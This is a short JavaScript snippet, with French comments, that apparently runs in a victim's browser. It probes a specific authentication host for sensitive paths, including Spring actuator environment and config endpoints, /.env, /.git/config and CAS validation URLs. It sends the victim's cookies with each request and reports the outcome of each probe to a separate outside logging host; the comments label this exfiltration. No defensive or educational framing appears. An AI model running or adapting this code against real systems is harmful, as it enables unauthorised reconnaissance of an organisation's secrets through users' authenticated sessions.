const targets = [
  "/serviceValidate",
  "/status?service=https://client.dolist.net",
  "/actuator",
  "/actuator/env",
  "/actuator/health",
  "/actuator/configprops",
  "/.env",
  "/.git/config"
];

targets.forEach(path => {
  fetch("https://auth.dolist.net" + path, {
    credentials: "include",
    mode: "no-cors"
  }).then(() => {
    // Exfil HTTP 200/204 (probable succès)
    fetch("https://netool.eu/log?path=" + encodeURIComponent(path) + "&status=ok");
  }).catch(() => {
    // Exfil erreur probable
    fetch("https://netool.eu/log?path=" + encodeURIComponent(path) + "&status=fail");
  });
});